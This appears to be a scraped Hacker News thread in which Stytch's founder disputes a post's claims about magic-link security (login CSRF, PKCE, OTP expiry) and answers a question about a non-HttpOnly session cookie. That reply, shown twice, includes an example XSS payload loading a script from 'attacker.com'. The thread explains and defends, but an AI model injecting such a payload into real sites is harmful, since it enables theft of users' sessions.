3 ms·

I’m the founder/CEO at Stytch, and the amount of misinformation and direct falsehoods in this post are pretty jarring. I’m surprised this has gotten any tractio

I’m the founder/CEO at Stytch, and the amount of misinformation and direct falsehoods in this post are pretty jarring. I’m surprised this has gotten any traction on HN, but I’m happy to go point-by-point: - OP claims we do not have a bug bounty program. We do have a private bug bounty program. We also triage all reports that are sent to security@stytch.com. In addition to this, we have an in-house security engineering team and work with an external firm. - OP claims we do not have a responsible disclosure program. We do [1] - On the point about CSRF, OP is correct that login CSRF scenarios are common with magic link products. For the uninitiated, Login CSRF is a vulnerability where an attacker gets a victim to log into an account controlled by the attacker, instead of their own. For example, an attacker could forward a magic link email to a victim, who clicks it unknowingly and ends up logged into the attacker’s account. Stytch adapted PKCE [2] to magic links so that applications have cryptographic proof that the device clicking on the magic link is the same device that originally requested the magic link. Our PKCE design was audited by our external security consultant. PKCE - as well as other more contemporary cookie-based CSRF measures - are not effective on mobile applications due to heavy use of webviews. Often, there is no guarantee that the browser on the device (perhaps an embedded webview within an application) that requests the magic link is the same browser that is opened by the email client when the magic link is received. For mobile-centric customers with workloads that are sensitive to login CSRF, we recommend pairing magic links with one of our second factor products such as SMS OTP, TOTP, or WebAuthn. - On their point about OTP tokens, it’s unclear if they’re talking about our magic link product or our actual one-time passcode products. In either case, the author is incorrect. Each product behaves slightly differently. For email/SMS/whatsapp one-time passcodes, these tokens expire both a) after first-time use and b) if the developer initiates a new one. For magic links, the token is invalidated once it is consumed or when it expires (whichever comes first). Their description of default behavior is also misleading. For example, while a sign-up magic link defaults to 1 week expiration (and can be configured lower) due to common email confirmation flows at sign-up, a login magic link has a lower default expiration at 1 hour. For OTP codes, the default code expires in 2 minutes and the longest it can be valid for is 10 minutes (this distinction is by design as there’s less entropy with a 6-digit code than a magic link token) [1] https://stytch.com/docs/#security_overview https://stytch.com/docs/#security_overview [2] https://stytch.com/docs/magic-links#email-magic-links_adding-pkce https://stytch.com/docs/magic-links#email-magic-links_adding...

stytchthrowaway 4y ago
I signed in to stytch.com and see a cookie called "stytch_session_jwt" that is not set with HttpOnly. It appears to refresh against https://stytch.com/web/sdk/sessions/authenticate https://stytch.com/web/sdk/sessions/authenticate with a Basic auth token which is also set on the client-side Is there any protection to prevent this from leaking during an XSS attack? How does that work?
- mcstempel 4y ago
  Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised. The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting. That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers. A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else. [1] https://hasura.io/docs/latest/auth/authentication/jwt/#header https://hasura.io/docs/latest/auth/authentication/jwt/#heade... [2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-jwt https://www.mongodb.com/docs/realm/web/authenticate/#custom-...

stytchthrowaway 4y ago

I signed in to stytch.com and see a cookie called "stytch_session_jwt" that is not set with HttpOnly. It appears to refresh against https://stytch.com/web/sdk/sessions/authenticate https://stytch.com/web/sdk/sessions/authenticate with a Basic auth token which is also set on the client-side Is there any protection to prevent this from leaking during an XSS attack? How does that work?

mcstempel 4y ago
Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised. The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting. That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers. A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else. [1] https://hasura.io/docs/latest/auth/authentication/jwt/#header https://hasura.io/docs/latest/auth/authentication/jwt/#heade... [2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-jwt https://www.mongodb.com/docs/realm/web/authenticate/#custom-...